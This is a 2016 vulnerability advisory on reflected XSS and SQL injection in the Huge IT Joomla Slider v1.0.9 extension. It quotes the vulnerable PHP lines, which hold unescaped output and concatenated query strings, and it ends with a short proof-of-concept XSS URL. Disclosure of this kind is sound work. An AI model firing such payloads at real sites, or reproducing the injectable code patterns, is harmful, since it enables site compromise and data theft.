Title: Reflected XSS and SQLi in Huge IT Joomla Slider v1.0.9 extension
Author: Larry W. Cashdollar, @_larry0
Date: 2016-07-22
Download Site: http://extensions.joomla.org/extensions/extension/photos-a-images/slider
Vendor: huge-it.com
Vendor Notified: 2016-07-22
Vendor Contact:
Description: Huge-IT Slider extension is one of the powerful products that our company offer. It gives style and charm to your site and help to attract the attention of visitors to certain parts of the content.
Vulnerability:
The attacker must be logged in with at least manager level access or access to the administrative panel to exploit this vulnerability.

XSS in ./admin/views/slider/tmpl/default.php via id variable:
275:                    <a class="modal" rel="{handler: 'iframe', size: {x: 800, y: 500}}" href="index.php?option=com_slider&view=video&tmpl=component&pid=<?php echo $_GET['id']; ?>" title="Video" >

SQL Injection in the following sections of code:

in file ./admin/models/slider.php
53:        $id_cat = JRequest::getVar('id');
54-        $query = $db->getQuery(true);
55-        $query->select('#__huge_itslider_images.name as name,'
56-                . '#__huge_itslider_images.id ,'
57-                . '#__huge_itslider_sliders.name as portName,'
58-                . 'slider_id, #__huge_itslider_images.description as description,image_url,sl_url,sl_type,link_target,#__huge_itslider_images.ordering,#__huge_itslider_images.published,published_in_sl_width');
--
69:        $id_cat = JRequest::getVar('id');
70-        $query = $db->getQuery(true);
71-        $query->select('*');
72-        $query->from('#__huge_itslider_images');
73-        $query->where('slider_id=' . $id_cat);
74-        $db->setQuery($query);
--
117:        $id_cat = JRequest::getVar('id');
118-
119-        $query = $db->getQuery(true);
120-        $query->update('#__huge_itslider_sliders')->set('name ="' . $name . '"')
121-                ->set('sl_height="' . $sl_height . '"')->set('slider_list_effects_s="' . $slider_effects_list . '"')
122-                ->set('pause_on_hover="' . $pause_on_hover . '"')
--
133:        $id_cat = JRequest::getVar('id');
134-        $query = $db->getQuery(true);
135-        $query->update('#__huge_itslider_sliders')->set('slider_list_effects_s ="' . $styleName . '"')->where('id="' . $id_cat . '"');
136-        $db->setQuery($query);
137-        $db->execute();
138-    }
--
182:        $id_cat = JRequest::getVar('removeslide');
183:        $id = JRequest::getVar('id');
184-        $db = JFactory::getDBO();
185-        $query = $db->getQuery(true);
186-        $query->delete('#__huge_itslider_images')->where('id =' . $id_cat);
187-        $db->setQuery($query);
188-        $db->execute();

CVE-2016-1000121 XSS
CVE-2016-1000122 SQLi
JSON: Export
Exploit Code:
  aC/ XSS:
  aC/  
  aC/ http://192.168.0.125/administrator/index.php?option=com_slider&view=slider&id=1%20--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E
  aC/  
  aC/ SQLi:
  aC/  
  aC/ http://192.168.0.125/administrator/index.php?option=com_slider&view=slider&id=HERE

Advisory: http://www.vapidlabs.com/advisory.php?v=168